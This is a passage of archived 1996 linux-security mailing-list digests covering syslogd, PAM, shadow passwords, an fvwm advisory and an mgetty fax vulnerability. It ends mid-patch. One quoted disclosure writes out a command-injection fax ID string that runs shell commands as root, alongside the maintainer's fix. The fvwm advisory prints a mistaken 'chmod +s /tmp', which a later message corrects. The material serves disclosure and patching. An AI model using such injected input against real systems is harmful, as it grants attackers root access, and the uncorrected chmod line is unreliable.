have, are redundant. Agreed, with qualification. CS> 1. IP firewalling is already built into the kernel. All you need CS> to do is block port 514. But I thought I'd point this feature of sysklogd v1.3 out anyway, mainly because--especially for newcomers to Linux--blocking syslogd spam is much easier to do by running syslogd without the "-r" option than by learning how to write effective firewalling rules. It's also less likely to put the machine into a "funny" state (as mistakes in firewalling rules have been known to do...I know this from regrettable experience ). I consider firewalling to be a moderately advanced topic, and I don't expect newcomers to networking, UNIX, Linux, etc., to understand it all immediately.... If someone is already using firewalling rules then this new syslogd feature doesn't really buy him/her anything. But if the only thing someone wants to block/protect is their syslog port then this is a handy and easy to use feature. CS> 2. What if you want to allow some hosts to log to your server while CS> disallowing the reset of the Internet? There are two possible CS> solutions. Either use IP firewalling already built into the kernel CS> or build a TCP/Wrapper interface into sysklogd. Using the existing CS> IP firewall code already in the kernel is cheaper (less effort). CS> (Why not enable the firewall code in the kernel by default?) I brought up the possibility of linking against libwrap with Greg Wettstein when I got the early 1.3 beta code from him. He'd apparently already considered it, and he held essentially the same view as you state above: using the kernel's firewalling feature is just as effective and it doesn't require extra coding, an extra library, etc. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: Jeff Uphoff Date: Tue, 2 Apr 1996 17:11:52 -0500 Subject: [linux-security] Technical problems...please do not adjust your T.V. Due to a couple of sendmail upgrades gone awry here I'm having to re-send some (four) messages to the linux-security list; they got partially cooked when rogue daemons breathed fire on them. If you get multiple copies of some of these messages (hopefully not more than two), don't worry...the problem is known to be in the transmitter and our best technicians are [OK, OK...our only technician is] working on it. Also due to these sendmail problems: some list members may not have received one or more linux-security and/or linux-alert messages that were posted last week (e.g. the CERT advisory "CA-96.07 - Weaknesses in Java Bytecode Verifier"). If you think that you might have missed (i.e. not received) a message or two, please check the list archive at: ftp://linux.nrao.edu/pub/linux/security/list-archive. Sorry for the inconvenience! - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: [email protected] (Gert Doering) Date: Tue, 2 Apr 1996 22:05:14 +0200 Subject: [linux-security] Re: Vulnerabilities in mgetty+sendfax (root access by fax) Hi, Zygo Blaxell wrote: > (sorry about sending this to Gert twice; I found two email addresses in > the README files) Well, both get delivered to the same mailbox... there is not much difference here. [..] > Version: all those that support FAX_NOTIFY_PROGRAM > Platform: all > > Vulnerability 1: mgetty does not properly parse input from remote fax > modem Hmmm. Didn't know that there were *still* problems. > Impact: if the FAX_NOTIFY_PROGRAM feature is used, and fax reception > is allowed, anyone who can send a fax to a machine running > mgetty can execute up to 17 bytes of shell command as root on > that machine. This can be escalated to full-blown root access > if the attacker has a shell account on the receiving machine. Huh? Could you give an example? I think I know what one would do (send something with ";", wildcards and space in it?), but I thought that it wasn't possible to actually exploit that. [..] > Workaround: disable fax reception. Recompile mgetty with > 'FAX_NOTIFY_PROGRAM' undefined in policy.h. mgetty 0.98 > is distributed with this macro defined by default. I'll fix it in the latest 0.99... > Exploit: Call a machine running mgetty+sendfax and send it a fax, with > the fax modem's local ID string set to > ';17-byte-command; > The 17-byte-command will be executed using /bin/sh with root > privileges. Yes. You're right. Since the standard isn't too clear what characters are allowed, many faxmodems allow *any* ASCII character to be sent, including "'" and ";". *sigh*. > Fix: in faxlib.c, function fax_wait_for(), add code to remove > characters not in the set {alphanumeric, dot, dash, plus} > from string 'fax_remote_id', and enforce the limit of 20 > characters. Hmmm. Not the proper place to fix it (but the easy one). The fax ID should be passed to the calling functions "as-is", but they should check better before calling "system()". > Discussion: > > RTFM, and you'll find the bug. Start with: No discussion needed, you're perfectly right. I know my code. It was a dumb thing to assume that this invocation of "system()" was tolerable as the input data comes from a "controlled" environment... [..] > As far as I can tell, this specifies the allowed format of the +FTSI and > related commands for setting and reading fax modem ID strings. Note > that any printable ASCII data can be sent, not just numbers. This is > even mentioned elsewhere in the mgetty manual. Yup. > The function fax_get_line is replaced by mdm_get_line() in mgetty > version 0.99, but it is otherwise the same as in 0.98. I know. [.. many correct observations deleted for brevity...] [..] > Note that the Rockwell specs only allow 20 characters for fax ID. > Certainly if the fax protocol and modem firmware allow more than 20 > characters, then there is a buffer-overrun attack possible against > mgetty. Hmmm. I disagree :-) -- the fax id is transmitted in a special frame in the fax modem handshake, which has (AFAIK) not more room than 20 characters. [..] > Fix 1. Disallow the character ' in fax_remote_id. (Actually, > it probably doesn't hurt to disallow anything but {alphanumerics, dot, > dash, plus} and convert everything else to underscore or ignore it. Yes. > Explicitly limit the length of fax_remote_id to 20 characters. See above... > Fix 2. Replace the system() call with an execlp(), thus > preventing a shell from becoming involved and also avoiding the > potential buffer-overrun bug. Problematic, because I have to support a few systems where a shell script cannot be exec()ed (old SCO ODT, for example), but people want shell scripts as FAX_NOTIFY_PROGRAM. > Explicitly limit the length of fax_remote_id to 20 characters. Not needed. > Also make a note in the documentation > about this sort of problem, as it might rear its ugly head again if > someone uses a naive shell script as FAX_NOTIFY_PROGRAM. Yes. > A variation is to put the ID in an environment variable. > This is better design but incompatible with existing practice. It may be better design, but it isn't any little bit safer when used in shell scripts. > Fix 3. All of the above. Extra paranoia never hurt anyone. Yup ;-) > Interestingly enough, I found the following code in faxrec.c, in > fax_get_page_data(), while looking for existing code that might plug > this hole: > > > /* filter out characters that will give problems in the shell */ [..] This is for the file names, which are more critical than the remote ID. [..] > However, the list is incomplete; notably absent are characters > like ` and |. Fixed. > The code also doesn't modify fax_remote_id, > which would have quite effectively plugged this hole. Yes, this is true. I did not (and do not) want to hide information from the user (logfile/user mail), so I do not want to modify this directly. Hmmm, hmmm. I'll do it anyway (limit the length of the remote station ID explicitely, and remove all quotes - the rest is left as excercise for the shell script writer) Patch vs. 0.99-Mar20 appended below. (Will not work vs. 0.98, as many things look "a bit" different now) gert - ---------------------------------------------------- diff -u3 -r mgetty-0.99-orig/faxlib.c mgetty-0.99/faxlib.c - --- mgetty-0.99-orig/faxlib.c Wed Jan 3 21:32:17 1996 +++ mgetty-0.99/faxlib.c Tue Apr 2 21:53:32 1996 @@ -19,7 +19,7 @@ Modem_type modem_type = Mt_class2; /* if uninitialized, assume class2 */ - -char fax_remote_id[1000]; /* remote FAX id +FTSI */ +char fax_remote_id[40]; /* remote FAX id +FTSI */ char fax_param[1000]; /* transm. parameters +FDCS */ fax_param_t fax_par_d; /* fax params detailed */ char fax_hangup = 0; @@ -36,6 +36,19 @@ * handle all the various class 2 / class 2.0 status responses */ +/* copy fax station id, removing quote characters (dangerous for shell!) */ +static void fwf_copy_remote_id _P1( (id), char * id ) +{ +int w = 0; + while ( *id && w < sizeof(fax_remote_id)-1 ) + { + if ( *id == '"' || *id == '\'' ) fax_remote_id[w++] = '_'; + else fax_remote_id[w++] = *id; + id++; + } + fax_remote_id[w]=0; +} + static boolean fwf_timeout = FALSE; static RETSIGTYPE fwf_sig_alarm() /* SIGALRM handler */ @@ -89,7 +102,7 @@ strncmp( line, "+FPI:", 5 ) == 0 ) { lprintf( L_MESG, "fax_id: '%s'", line ); - - strcpy( fax_remote_id, &line[ix] ); + fwf_copy_remote_id( &line[ix] ); } else if ( strncmp( line, "+FDCS:", 6 ) == 0 || diff -u3 -r mgetty-0.99-orig/faxrec.c mgetty-0.99/faxrec.c - --- mgetty-0.99-orig/faxrec.c Sun Mar 3 22:44:56 1996 +++ mgetty-0.99/faxrec.c Tue Apr 2 22:00:46 1996 @@ -212,8 +212,8 @@ { char c = fax_remote_id[j]; if ( c == ' ' || c == '/' || c == '\\'|| c == '&' || c == ';' || - - c == '(' || c == ')' || c == '>' || c == '<' || - - c == '?' || c == '*' ) + c == '(' || c == ')' || c == '>' || c == '<' || c == '|' || + c == '?' || c == '*' || c == '\''|| c == '"' || c == '`' ) { if ( temp[i-1] != '-' ) temp[i++] = '-' ; } - ---------------------------------------------------- - -- Gert Doering Mobile communications ... right now writing from *AWAY* :-)) +49 177 2160 221 or +49 8251 4470 [email protected] ------------------------------ End of linux-security-digest V2 #13 *********************************** linux-security-digest/v02.n001100664 1767 1767 47324 6075543271 15454 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #1 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Friday, 12 January 1996 Volume 02 : Number 001 Re: Password checking - JFH the way forward ? Re: Password checking - JFH the way forward ? Shadow development mailing list CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability PAM implementation effort.... ---------------------------------------------------------------------- From: Marek Michalkiewicz Date: Wed, 10 Jan 1996 22:03:42 +0100 (MET) Subject: Re: Password checking - JFH the way forward ? Note: please send replies to me and Ian, not to the list, to save the moderators some work. I can summarize any good feedback, too. Since I am the current maintainer of the Linux port of the JFH's shadow password suite, perhaps I should say something in my defense here. I'm not going to rehash the old advocacy arguments either. First of all, I don't know why our exchange was unsatisfactory for Ian. We disagree on some points, but I think there is nothing wrong with it, and no one of us is always absolutely right... Some facts about the JFH's shadow suite: - - the "API" it implements, while not ideal, is compatible with the SVR4 standard; this means that most reasonably current portable sources should already support that, and in most cases they will need only some Makefile editing; if necessary, I can help with this - just contact me. - - shadow passwords are supported by the current ELF libc, and you don't need any other libraries to write shadow-aware applications; it is also easy to do it in such a way that the same binaries work with both shadow and non-shadow passwords. - - many people use the shadow suite, and are familiar with it, it is the defacto Linux standard (it was not supported by distributions in the past for copyright reasons, but that can change now), people have scripts that depend on it, some BBS programs depend on useradd etc. - - the shadow suite, while still beta (it has problems too), has many new features not supported by the standard util-linux programs used by most distributions. Now, I can see it isn't fun to recompile all password-checking programs, and the Ian's proposal should make it possible to support shadow passwords transparently, but I can see one sometimes quite serious problem with it: We store our encrypted passwords in a completely different way, and can't easily share them with other systems. It is possible to share them with Linux systems using that scheme, but there is no easy way to modify libc on non-Linux systems to implement the same scheme. Another thing that is debatable - should we try to make everything ideal, or maybe stick to existing standards well known for a few years now? Maybe I am a bit conservative, but I would prefer the latter. I doubt the SVR4 shadow password API will change again in the near future, and if we want to support other authentication schemes (for example S/Key), the pwdauth() API is probably not general enough. If we want to modify libc and be sure that all old binaries still work, it would be necessary to implement (and maintain) the changes in the old no longer maintained a.out libc as well. If we do it only for ELF, then there are not many old binaries... I think both schemes (the Ian's transparent shadow password support, and the JFH's SVR4-compatible shadow passwords) can probably be implemented at the same time, and should be optional. Maybe this is the solution we all can agree on? Again, discussion is welcome, please send replies both to me and Ian (not to the list). I can post a summary if there are enough interesting replies. Regards, Marek ------------------------------ From: "Theodore Ts'o" Date: Wed, 10 Jan 1996 16:54:35 -0500 Subject: Re: Password checking - JFH the way forward ? [To the Moderator: I know you asked that replies go to Ian, but I think this is important enough that people on the list see it. It's also only somewhat tangentially related to Ian's article, anyway. -- Ted] Ian was talking about designing a new password-checking API. Actually, there's an emerging standard for an interface that handles password-checking, password changing, login session account management, etc. It's called Pluggable Authentication Modules, and it was proposed by SunSoft, although it's since gotten acceptance from a number of standards and industry consortium bodies, including OSF and the Common Desktop people. The advantage of this scheme is that if you code your application to use PAM, it's possible to *dynamically* (via a config file and dynamically linked libraries using dlopen()), to add or change how /bin/login works. This could mean adding shadow passwords, or it could mean adding Kerberos support. It could also allow you to mount a remote filesystem as your home directory during the login sequence. (This is done for example at MIT's Project Athena environment. With PAM, it allows us to do all of our Athena customizations without needing to recompile any vendor binaries!) That is PAM's nicest feature ---- by dropping in a library and making a change to configuration file, *all* applications (login, telnetd, rlogind, ftpd, etc.) that had been linked with the PAM library could be changed at one fell swoop to start using Kerberos, S/Key, Shaddow Passwords, etc --- without needing to recompile anything! I think that developing a PAM library for Linux would be a Good Thing. I don't have a lot of time right now, though, but if there's someone who does have time, please send me e-mail. I'd be happy to help coordinate and lend design assistance --- I just don't have enough coding time to do this myself. Thanks!! - Ted Ref: (By the way OTP is the new generic term for S/Key(tm), which is a trademark of Bellcore. This is taken from the IETF OTP working group, which is working to make S/Key an Internet standard.) X-Mailer: exmh version 1.6.2 7/18/95 To: [email protected], [email protected] Subject: PAM overview Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Tue, 12 Dec 1995 15:18:00 -0500 From: Bill Sommerfeld - -----BEGIN PGP SIGNED MESSAGE----- content-type: text/plain; charset=us-ascii I made reference to PAM (the SunSoft "pluggable authentication module" interface for UNIX and UNIX-like systems) during Phil Servita's presentation during the OTP WG meeting. It is my understanding that a number of UNIX systems vendors will shortly be shipping systems which provide a PAM interface to allow system administrators to plug in their own login-time authentication modules. I suspect that a PAM OTP module would be fairly straightforward to construct. I did some digging and found the following URL, which is OSF RFC 86.0: http://www.pilgrim.umass.edu/pub/osf_dce/RFC/rfc86.0.txt According to Walt Tuvell of OSF, as an employee of an OSF member, I am free to distribute this document to anyone. Note that I have nothing to do with PAM directly; send comments about the draft to the authors, not me.. - Bill - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMM3jaFpj/0M1dMJ/AQHxHwP9HvblruM3JxqgrI5PYRq3yvUbqXaYIeW6 5p06jq+/eUltWHrEB02PWnp2Xz0kgQ6x+KixrdoSQTsNvvNPiLucIu+7IZjEXuQ/ mCbCEJsi9MTsEGDMbkMAhOySzcfBcdeBgNckDVTXc041dYmNoiLVRdp7uIdHQJr+ 9MhP8y+Bkxw= =kjTu - -----END PGP SIGNATURE----- ------------------------------ From: Marek Michalkiewicz Date: Thu, 11 Jan 1996 18:53:25 +0100 (MET) Subject: Shadow development mailing list Most of us probably already know about this, but... There is a mailing list for the development of the shadow suite and related issues. I think (Jeff and Olaf will probably agree...) that the discussion about shadow passwords should be moved there. To subscribe: send "subscribe" to [email protected] (*not* to the mailing list itself). The list address is [email protected]. It is unmoderated. Regards, Marek ------------------------------ From: "Alexander O. Yuriev" Date: Fri, 12 Jan 1996 01:10:19 -0500 (EST) Subject: CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability - -----BEGIN PGP SIGNED MESSAGE----- [ LINUX SECURITY FAQ UPDATES ADMIN INFORMARION ] 1. The Linux Security FAQ Update #10 released on Jan 11, 1996 is hereby REVOKED. Please disregard information in the Linux Security FAQ Update#10 released on Jan 11, 1996 2. The Linux Security FAQ Update #10 released on Jan 12, 1996 is hereby made an OFFICIAL Linux Security FAQ Update#10 regarding the fvwm vulnerability. This is corrected LSF Update#10. In the version of LSF Update#10 dated January 11, 1996, and signed with a key "1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key " an error was made in the "Other Distributions" section. Unfortunatly, no one noticed that error prior to the Update being released. -- Alexander O. Yuriev ([email protected]) - - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update Vulnerability of FVWM January 12, 1996 00:46:37 EST Copyright (C) 1995-96 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the FVWM version 1.24 and versions prior to that. This vulnerability allows intruders to execute programs as users other than themselves. Under certain circumstances if root uses fvwm, a compromise of a root account is possible. This Linux Security FAQ Update provides information about ways to fix this hole. RISK ASSESSMENT In certain situations local users can execute commands under different UID. Root compromise is possible only if root account is used to run fvwm, which is not advisable. SOLUTION TO THE PROBLEM The successful attack against fvwm exploits a race condition that occurs when fvwm performs certain operations. The following information should allow one to prevent the race condition from occurring. 1. /tmp directory should be owned by (root:root) with world-write, world-execute and world-read permissions. A sticky bit is *required* on this directory. Use the following set of commands to change your /tmp directory parameters to conform with the requirements: chown root.root /tmp (make ownership (root:root)) chmod 777 /tmp (make protection mode 777) chmod +s /tmp (place a sticky bit on) 2. Install appropriate distribution-specific fix Red Hat Commercial Linux 2.0 and 2.1 Marc Ewing ([email protected]) provided the following information about the official Red Hat RPM that fixes the hole. The RPM for Intel architecture can be obtained from one of the following URLs: ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/fvwm-1.24r-5.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat-2.1/fvwm-1.24r-5.i386.rpm Users of RedHat/AXP should install fvwm for AXP architecture. It is available from one of the following URLs: ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/fvwm-1.24r-5.axp.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat-2.1/fvwm-1.24r-5.axp.rpm Please verify the MD5 hash of the file prior to installing it. af4bb44d5f3a390f04c5b0467b00e2a6 fvwm-1.24r-5.i386.rpm 88ae8be7f633192ccbd2f0cb407b7ecc fvwm-1.24r-5.axp.rpm Caldera Network Desktop Preview II users should follow the instructions for Red Hat Commercial Linux 2.0 and 2.1 to install updated RPM Debian/GNU Linux Ian Murdock ([email protected]) provided the following information about the official fvwm replacement for the Debian/GNU Linux. The replacement can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/binary/x11/fvwm-1.24r-10.deb ftp://bach.cis.temple.edu/Linux/Security/DISTRIBUTION-FIXES/Debian/fvwm-1.24r-10.deb Please verify the MD5 hash of the file prior to installing it. 05958bb6eff51df2b933c268544c6541 fvwm-1.24r-10.deb Slackware All Slackware Linux distributions, including Slackware 3.0 use vulnerable fvwm. The maintainer of Slackware 3.0, Patrick J. Volkerding, did acknowledge the problem and but did not have Slackware specific patch on Jan 11, 1996. It is recommended that until the Slackware 3.0 package that fixes this fvwm hole becomes available, users of Slackware should follow instructions in the "Other Distributions" section. Yggdrasil All distributions of Yggdrasil Plus & Play Linux are believed to be vulnerable. Yggdrasil Inc, neither acknowledged the problem nor provided any information from which it could be concluded that their distributions are not vulnerable. It is recommended that even if Yggdrasil Inc, does not acknowledge the existence of this problem, users of Yggdrasil distributions should follow the instructions in the "Other Distributions" section. Other Distributions If there is no distribution specific package that fixes the fvwm security hole available at this time, it is recommended that either use of the fvwm should be discontinued, or a fixed version of fvwm used to create Debian/GNU Linux package should be installed. The source code of it is available from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/source/x11/fvwm-1.24r-10.tar.gz ftp://bach.cis.temple.edu/pub/Linux/Security/fvwm-1.24r-10.tar.gz Please verify the MD5 hash of the file prior to using it. 4bf102e2451ab7ae4fbc42712b3b79c2 fvwm-1.24r-10.tar.gz CREDITS This LSF Update is based on the information provided by Winfried Truemper ([email protected]), Marc Ewing ([email protected]), Olaf Kirch ([email protected]), Ian Murdock ([email protected]), Austin Donnelly ([email protected]) and Patrick J. Volkerding ([email protected]) - - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMPX2PoxFUz2t8+6VAQHAvAQAh8OD8BRdwEB+44JxGhYvM95rPXLXfPMr je0AnkIuW/pHC/k0nZ80vI8/ZvYMfSBbElrijDyM0tL63G2Jkhl3UbQA0fuzmiKc C3445l5Z82+FYYI7ZdD9mw/aSs5QE82P0VT+XD83eN9laLoG2XwX39Yg1HrOrS7f RICO+g9Lwgk= =b41E - - -----END PGP SIGNATURE----- - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMPX6Np0afeTWLUSJAQEMQwP/Rts1JcREak/OyQSwWCOit1tVNuwyeBIf gSjmEKoAoWAl0NmkfKHjhKV9Xn06HvjoA18P+P2o82hRbZMIVyQh8LmOtrMv3Aj2 eFCUz5W+fEbgwCjdSHV5St6G2itjZTgc1oQbAmE5vh6RoKjRw85HJDmv834PgMjO b8/VCDc4qbA= =sheq - -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: "Theodore Ts'o" Date: Fri, 12 Jan 1996 00:13:39 -0500 Subject: PAM implementation effort.... OK, there definitely seems to be interest in implementing PAM for Linux. Great! Everyone on the To: field have either sent me mail directly saying that they were interested, or have sent enough mail on the various lists that they're obviously interested. Because I'm not on [email protected], and because PAM really is only somewhat tangentially related to the shadow package ---- and I've maintained enough mailing lists that I know that maintainers of lists often get upset of a small subset of the people on the list "hijack" a list for some different purpose, I've taken the liberty to start a new mailing list: [email protected] I've seeded the list with the people on the To: list above. Other people who are interested should send mail to me ([email protected]). This list will be active by tomorrow morning. I suggest that for the reasons I've listed above, we redirect discussion directly related to the PAM implementation effort to this list. Since I (foolishly?) volunteered to coordinate, and various other people have said that they would write code if I would provide design specs --- here goes. I propose the following task breakdown: 1) Administrivia: Ted Set up mailing list (done) Set up ftp space on tsx-11.mit.edu:/pub/linux/ALPHA/PAM (done) Coordinate tasks (see below; in progress) 2) PAM header file: Ted (I'll do this, so people have a common place to start from.) Also, there isn't enough public information currently to completely specify the PAM <-> PAM module interface. I'm going to try to pry the information out of Sun (which they'll need to give me, since they want me to write a PAM module for Kerberos). --- header for the application/PAM interface --- header for the PAM/PAM module interface 3) Write PAM library: (Need a volunteer) The PAM library is reponsible for parsing /etc/pam.conf, and then using dlopen() to dynamically call the various component libraries. It's responsible for calling the various libraries in the right order, as specified by the rules in /etc/pam.conf (i.e., control flags "required", "sufficient", "optional", etc.) 4) Write the PAM unix libraries: (Need volunteer(s)) pam_unix_auth.so ---- prompts for username/password and validates it against /etc/passwd pam_unix_account.so --- checks to see if user's user or account has expired. (Account management is also the place to add login time restrictions, if desired.) pam_unix_session.so --- empty for unix pam_unix_passwd.so --- password changing interface These can either be four separate libraries, or they can be one library: pam_unix.so. Eventually it probably makes sense to make it one library. However, for ease of divvying up the task, we can implemently separately first. 5) Write the PAM shadow libraries: (Need volunteer(s)) 6) Write the PAM S/Key interface: (Need volunteer(s)) 7) Write the PAM Kerberos interface: (Ted -- I told Sun I'd do this) 8) Modify applications to use the PAM application interface: (Need volunteer(s)) - login - ftpd - telnetd - rlogind - passwd If there are people who are interested in participating in this effort, please contact me and tell me what you're interested in doing. I'll coordinate to make sure we don't duplicate effort. Again, people should take a look at OSF RFC 86.0.txt. The URL is: http://www.pilgrim.umass.edu/pub/osf_dce/RFC/rfc86.0.txt This actually has a fairly complete of the PAM <-> application interface. - Ted ------------------------------ End of linux-security-digest V2 #1 ********************************** linux-security-digest/v02.n002100664 1767 1767 37521 6076270317 15452 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #2 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 14 January 1996 Volume 02 : Number 002 LSF Update#10: Another correction. fvwm fix ---------------------------------------------------------------------- From: "Alexander O. Yuriev" Date: Sat, 13 Jan 1996 17:25:05 -0500 (EST) Subject: LSF Update#10: Another correction. - -----BEGIN PGP SIGNED MESSAGE----- [LINUX SECURITY FAQ UPDATES ADMIN NOTE] Another error was noticed in a Linux Security FAQ Update#10 regarding the vulnerability of fvwm 1.24. The LSF Update#10 reads: ***** BEGIN LSF UPDATE QUOTE ***** SOLUTION TO THE PROBLEM The successful attack against fvwm exploits a race condition that occurs when fvwm performs certain operations. The following information should allow one to prevent the race condition from occurring. 1. /tmp directory should be owned by (root:root) with world-write, world-execute and world-read permissions. A sticky bit is *required* on this directory. Use the following set of commands to change your /tmp directory parameters to conform with the requirements: chown root.root /tmp (make ownership (root:root)) chmod 777 /tmp (make protection mode 777) chmod +s /tmp (place a sticky bit on) ***** END LSF UPDATE QUOTE ****** The line "chmod +s /tmp (place a sticky bit on)" has to be read as "chmod +t /tmp (place a sticky bit on)". Please make the necessary changes in the protection mode of the /tmp directory --- Alexander O. Yuriev - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMPgsCYxFUz2t8+6VAQGBfQP+LAzTvTpuMcIa2TFdThFX+Z8zBFBtp2Bu zqrLAHvLDUe8McFP8V9gRDIpc/rgFoNBjyVwrZ31ruK0RuqJ3363lq8iHebaVmni 4jacgKj4BBWVdN40RRQaK3qJ52lH7tebZvjw0wLAF6sYoXt3DHIsB+GM+B5T+aQz n0W24Bmof4s= =rsNv - -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: Zoltan Hidvegi Date: Sun, 14 Jan 1996 01:49:45 +0100 (MET) Subject: fvwm fix [Mod: Forwarded without comment or inspection of the code by me. Please direct all replies, comments, critiques, fixes, etc., to the author of the post and not to the list. Thanks. --Jeff.] Here is a patch to base fvwm-1.24r which hopefully fixes the security problem discussed in the linux-security mailing list. I am aware of the existing debian fix but I do not like it. This patch improves fvwm a little bit since it avoids the popen call. It uses pipe/fork/dup/exec. This makes it easier to pass options with spaces or shell special characters to m4. As far as I know the O_CREAT | O_EXCL flags to open are enough to prevent the attacks described earlier. Please tell me if I'm wrong. Send a Cc if you reply to the list since I only read the digests. Cheers, Zoltan *** configure.h 1996/01/13 11:48:44 1.1 - --- configure.h 1995/12/31 02:21:26 *************** *** 1,7 **** #define FVWMDIR "/usr/lib/X11/fvwm" /* #define FVWMDIR "/local/homes/dsp/nation/modules"*/ #define FVWM_ICONDIR "/usr/include/X11/bitmaps:/usr/include/X11/pixmaps" ! #define FVWMRC "/usr/lib/X11/fvwm/system.fvwmrc" /* Imake command needed to put modules in desired target location */ /* Use the second version if it causes grief */ - --- 1,7 ---- #define FVWMDIR "/usr/lib/X11/fvwm" /* #define FVWMDIR "/local/homes/dsp/nation/modules"*/ #define FVWM_ICONDIR "/usr/include/X11/bitmaps:/usr/include/X11/pixmaps" ! #define FVWMRC FVWMDIR "/system.fvwmrc" /* Imake command needed to put modules in desired target location */ /* Use the second version if it causes grief */ *************** *** 69,75 **** * undefine(`include') to fix that one. Some version of m4 * seem to give good error messages, others don't? ***************************************************************************/ ! /* #define M4 */ /*************************************************************************** *#define NO_PAGER - --- 69,75 ---- * undefine(`include') to fix that one. Some version of m4 * seem to give good error messages, others don't? ***************************************************************************/ ! #define M4 /*************************************************************************** *#define NO_PAGER *************** *** 113,119 **** * * ***************************************************************************/ ! /* #define PRUNE */ /************************************************************************* * - --- 113,119 ---- * * ***************************************************************************/ ! #define PRUNE /************************************************************************* * *** fvwm/configure.c 1996/01/13 11:48:59 1.1 - --- fvwm/configure.c 1996/01/13 14:06:02 *************** *** 300,306 **** char *fvwm_file; #ifdef M4 ! static char *m4_defs(Display*, const char*, char*, char*); #endif /***************************************************************************** - --- 300,306 ---- char *fvwm_file; #ifdef M4 ! static char *m4_defs(Display*, const char*, char**, char*); #endif /***************************************************************************** *************** *** 308,314 **** * This routine is responsible for reading and parsing the config file * ****************************************************************************/ ! void MakeMenus(const char *display_name, char *m4_options) { char *system_file = FVWMRC; char *home_file; - --- 308,314 ---- * This routine is responsible for reading and parsing the config file * ****************************************************************************/ ! void MakeMenus(const char *display_name, char **m4_args) { char *system_file = FVWMRC; char *home_file; *************** *** 390,396 **** * results in a temp file. */ ! fvwm_file = m4_defs(dpy, display_name, m4_options, fvwm_file); fclose(config_fd); config_fd = fopen(fvwm_file, "r"); - --- 390,396 ---- * results in a temp file. */ ! fvwm_file = m4_defs(dpy, display_name, m4_args, fvwm_file); fclose(config_fd); config_fd = fopen(fvwm_file, "r"); *************** *** 1891,1897 **** #define EXTRA 50 extern int m4_prefix; - - extern char m4_prog[]; extern int m4_default_quotes; extern char m4_startquote[]; extern char m4_endquote[]; - --- 1891,1896 ---- *************** *** 1964,1970 **** return(MkDef(name, num)); } ! static char *m4_defs(Display *display, const char *host, char *m4_options, char *config_file) { Screen *screen; Visual *visual; - --- 1963,1969 ---- return(MkDef(name, num)); } ! static char *m4_defs(Display *display, const char *host, char **m4_args, char *config_file) { Screen *screen; Visual *visual; *************** *** 1976,1981 **** - --- 1975,1983 ---- char *vc; /* Visual Class */ FILE *tmpf; struct passwd *pwent; + int fd, pipefds[2], status; + pid_t child; + /* Generate a temporary filename. Honor the TMPDIR environment variable, if set. Hope nobody deletes this file! */ *************** *** 1984,2011 **** } else { strcpy(tmp_name, "/tmp"); } ! strcat(tmp_name, "/fvwmrcXXXXX"); ! mktemp(tmp_name); ! ! if (*tmp_name == '\0') { perror("mktemp failed in m4_defs"); exit(0377); } ! /* ! * Create the appropriate command line to run m4, and ! * open a pipe to the command. ! */ ! sprintf(options, "%s %s %s > %s\n", ! m4_prog, ! ((m4_prefix == 0) ? "" : "--prefix-builtins"), ! m4_options, tmp_name); ! tmpf = popen(options, "w"); if (tmpf == NULL) { perror("Cannot open pipe to m4"); exit(0377); } - --- 1986,2032 ---- } else { strcpy(tmp_name, "/tmp"); } ! strcat(tmp_name, "/fvwmrcXXXXXX"); ! ! if (! mktemp(tmp_name) || ! (fd = open(tmp_name, O_WRONLY | O_CREAT | O_EXCL, 0600)) == -1) { perror("mktemp failed in m4_defs"); exit(0377); } ! if (pipe(pipefds)) { ! perror("Cannot open pipe to 